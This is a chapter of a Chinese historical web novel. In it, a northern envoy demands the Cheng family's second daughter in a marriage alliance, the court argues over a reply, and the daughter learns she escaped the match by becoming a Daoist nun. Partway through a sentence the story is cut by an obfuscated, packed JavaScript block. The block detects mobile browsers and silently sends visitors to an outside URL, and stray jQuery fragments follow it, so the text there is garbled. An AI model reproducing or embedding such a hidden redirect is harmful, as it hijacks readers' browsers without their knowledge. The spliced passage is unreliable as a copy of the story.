常无疾微微愣怔，十多年前裴氏就来过这么一出，不过那次求娶定是公主，吓得先帝与太后连夜将爱女嘉宁长公主送进道观出家为国祈福……这次又盯上程氏次女，他斟酌后说道：“定安侯府次女啊……”


    想是馋程氏女的美色吧。


    “嗯，正是定安侯府程氏次女，”高尧回道：“请常大人给贵国皇帝陛下报信，本官在驿馆静候佳音。”


    常无疾有片刻未开口，显得十分难办。他晨起似乎听到风声，定安侯府有个女郎出家当女冠去了。


    “常大人，”高尧见状心中微怒，皮笑肉不笑地说道：“我朝三殿下不求高攀贵国宗室的金枝玉叶，区区一个定安侯次女，想来不会为难吧？”


    “高大人说哪里话。”常无疾语调平常地打哈哈。


    高尧又道：“不过嘛，常大人也知道，北地贫穷，不及江南万分之一富庶，联姻之后，还请贵国朝廷每年赠我朝金银若干，以便供养贵国所嫁之女，莫委屈了她。”


    他将此行的目的一点儿都不藏着掖着，大剌剌摆明面上来说。


    再熟悉不过到配方，常无疾的笑意稍许凌乱，咬牙道：“本官会如实转告我朝陛下。”


    高尧：“有劳。”


    常无疾陪着笑告辞，而后回朝将他的话告诉后越君臣。


    宋玙听后面上大惊：“太不凑巧，宸妃之妹程二已在今晨出家当了女冠，为宸妃和朕祈福求子。”


    不过也在心里大大松了口气——裴氏没有放话提兵南下，比他先前预想的要好。


    朝臣听闻后面面相觑：“这……”怎么就这么凑巧呢。


    常无疾：“……”果然。


    有人奏道：“陛下，为今之计，只有请程女郎还俗，嫁给裴氏三皇子殿下。”语毕，一众群臣附和：“陛下，请以国事为重。”


    也有人反对，一名太常寺的官员愤愤地道：“诸位以为给出去一个程氏女，裴氏从此就会安生吗？”


    今日跟出去一个程氏女，明日又来要别的，没完没了。


    百官之首，左丞相范映岂有不知“今日割五城，明日割五城，然后得一夕安寝。起视四境，而秦兵又至矣。1”的道理，脸色不好看地说道：“我朝将少兵弱，不用此权宜之计顺从裴氏，又该如何？”


    打又打不过。


    众人哑口无言。


    他又问：“常大人，北苍皇帝陛下指名要为其三子聘程氏次女？”


    常无疾：“下官曾反复同他确认过，高大人的的确确是这样说的。”


    范映拧紧双眉：“不巧程氏女出家祈福，”他持笏板上前一步说道：“既这样，不如如实相告。”


    请他们另择佳人。


    “裴氏怎会愿意？”群臣反问。临安城里的未嫁之女中，以程氏次女姿色最好。想来北苍三皇子早听说程氏女艳名，特来索要。


    “本官以为他们意在岁贡银子，”范映说道：“只要我朝拿出诚意，提议除了岁贡之外另为裴氏三殿下另选好女，未必不能商量。”


    “这样一来，裴氏会在岁贡上狮子大张口吧？”有人往坏的方面去想，群臣们在朝堂上争吵不休，嗡嗡声烦得落在大殿屋脊上的鸟扑扑楞楞飞走挪地儿。


    宋玙头疼地说道：“众爱卿听朕说一句。”等群臣都闭嘴后他目视着范映：“范爱卿，你亲自去见见高大人，按照你说的同他商量，去吧……”


    说完，他迫不及待地命退朝，逃也似地回后宫。


    甘泉观。


    吉时一到，李令珠的随从道童用托盘端过来三杯茶：“请程女郎给度师李道长敬茶。”引人入道门的叫“度师”。


    程芸香伸手捧出头一杯敬给李令珠，她并不喝，放在桌子上。到第二杯时，她才浅唱一口，说道：“你唤我一声师父吧。”


    “师父在上，请受徒儿一礼。”程芸香对着她行礼，而后又敬一杯茶给她。想起她另一重绣衣使的身份，程芸香莫名好奇，难免多打量李令珠几眼。


    果有种隐隐的威压。


    李令珠恍若未绝，她接过去，用右手的中指蘸茶水点在程芸香身上：“好。”受完礼，她指着头顶的发髻说道：“女冠的发髻是将头发盘在头顶的百会穴。”


    程芸香瞧几眼她的发髻：“是，师父。”


    女道童捧着托盘出来，里面放着一柄紫檀木拂尘，柄顶端镶嵌一颗朱砂圆珠，缀长而柔软的塵毛。


    李令珠：“去更衣吧。”


    等她换上道袍，扎个女冠的发髻出来，手持拂尘站在那里，李令珠满意笑道：“成了。”


    入道门的皈依科仪就算完成，程芸香从此就是女冠了。


    程芸香又行礼谢她，李令珠笑着对刘女官说道：“贫道告辞。”


    刘女官：“奴婢也该回宫了。”


    程芸香送二人出门。李令珠先走，刘女官在道观门口稍稍停留，再次婉言提醒她，要是不喜欢嘉宁长公主留下的奴仆沈岚之，随时将他赶走便是。


    程芸香再次打马虎眼，未回应她的提议。


    回到观中，素梨问她：“女郎，那个沈道长……”要不要按刘女官说的，赶走他。


    程芸香：“等等再说吧，他毕竟是服侍过长公主的人。”若一住进来就撵走跟随嘉宁长公主多年的太监，岂不是伤她的面子。


    一个太监，没有所谓的男女大妨，能有多碍眼，让他暂且住着罢。


    不自觉竟忙活大半日，坐下来喝了一盏茶的工夫，竟已是旁晚时分。


    嘟嘟嘟，外头有人敲门。


    素梨前去开门，竟是陈宝妙让家里的丫鬟阿喜带婆子们来送东西，她们手脚麻利地搬进来两个大大的檀木箱子，里面装的全是程芸香在家中时所用之物：“夫人说往后一天比一天热起来了，让婢子把女郎的帐子和凉席等东西拿来。”


    别的倒也罢了，那床象牙的凉席是外邦进贡的，宸妃特地赏赐给程芸香用的，夏日睡在上面凉意丝丝，更有养肌肤的功效，翻遍皇宫不过两三张。天气渐热，这个时候在上面铺两层素绢正正好，等到了五月份，揭下一层又恰好，到了六月份，直接睡在凉席上则觉不出暑热来了。


    程芸香谢过她：“姐姐不光是来送东西的吧？”


    她前脚进来，家里后脚就送东西来，有些太过着急了。


    阿喜摇摇头又点点头：“夫人听说北苍来了个使臣，说是要为他们三皇子求亲，想要娶女郎……”


    北苍三皇子，求亲。不，是和亲！


    还未听她说完，程芸香脑中蹦出“和亲”二字


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17066775|195138||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，浑身一僵，随后冒了层密密匝匝的冷汗，几乎将贴身的小衣浸透：北苍使臣来为他们三皇子向自己求亲？


    这种……叫和亲吧？不该去找出身皇室的公主，实在不行还有宗室女，怎会落到她头上。


    不对，之前顼王妃想认她做女儿，是不是……


    又一想，阿姊急急忙忙让她出家当女冠，莫非她早想到了这层。她心中火急火燎感念阿姊的恩德，是阿姊的敏锐让她躲过这一劫……脑中嗡嗡嗡的，一时间十分凌乱。


    程芸香紧紧捏住她身上还未穿热的道袍：“我从来没怪过阿姊，你回去告诉老夫人、夫人，叫她们放心。”


    感激还来不及呢。


    阿喜啰嗦一片后退下。


    观门关好，院中重归寂静，程芸香的脑中分外清明，北苍三皇子，是谁？她从未听闻过此人。


    是慕程氏女的美色而来？还是别的。无从得知。她想着想着将身体蜷缩起来，头埋在膝盖间，因为后怕而浑身轻颤不止。


    ……


    是夜，新月初升，虫鸣啾啾。


    甜水巷梅宅。


    “郎君……”赵乘的脸上带着几分遗憾，声调闷闷地说道：“程女郎……唉，今晨出家当女冠去了。”


    梅晏骤然一怔，眉头凝在一处：“……她出家了？”


    “你说巧不巧，就在高大人抵达临安城的同时，程女郎进了甘泉观。”赵乘说道。


    穿上道袍，成了一名女冠。


    就差那么一天半天，哪怕高尧昨日天黑之前到，这事儿就能成。


    他有点想一拳锤在几上。


    气，但又不能发出来，还得装作若无其事的模样。


    梅晏的手指在几上轻扣两下：“知道了。”


    默然片刻后，赵乘说道：“郎君，他们不答应这门亲事，对我朝反倒是好事儿。”


    “郎君想，今日咱们北苍早已不同往日，后越皇帝惶惶不可终日，就算他不答应联姻，也会主动提出岁贡，另外在别的方面给咱们更多好处，郎君等着便是。”


    横竖不会像上次那样空手而归，无功而返。


    赵乘说道：“先听听后越的意思，另外，我朝已屯兵江北，随时南下攻打江淮重镇楚州，继而南下剑指扬泰二州，这二州一旦到手，往南江宁、润州就不在话下，到那时，攻打临安城犹如探囊取物。”


    “先生这话说大了，”梅晏笑道：“江宁有长江天堑，北苍军不擅水战，”他叹口气：“江宁可望而不可及啊。”


    “臣听说，陛下已在燕州观武池筹建操练水师。”


    只要北苍的大军能渡江拿下临安城以北的江宁城，再攻下润州等地，临安就是一座孤城，毫无险要可守。


    江宁一破，后越只余个临安，离败亡就不远了。


    高尧这个使臣成了功成名就，不成有大军在后。


    梅晏不辨喜怒：“嗯。”


    这一日，他在房中枯坐许久，念了好几遍程芸香的名字！芸娘，芸娘……


    欲是告诉他得不到，他就越不甘心。


    动辄有如猫爪挠着一般，他蠢蠢欲动。但一时又无计可施。赵乘看出他的心思，劝慰道：“他日江南归我北苍，此女亦是殿下的掌中物，殿下耐心等着便是。”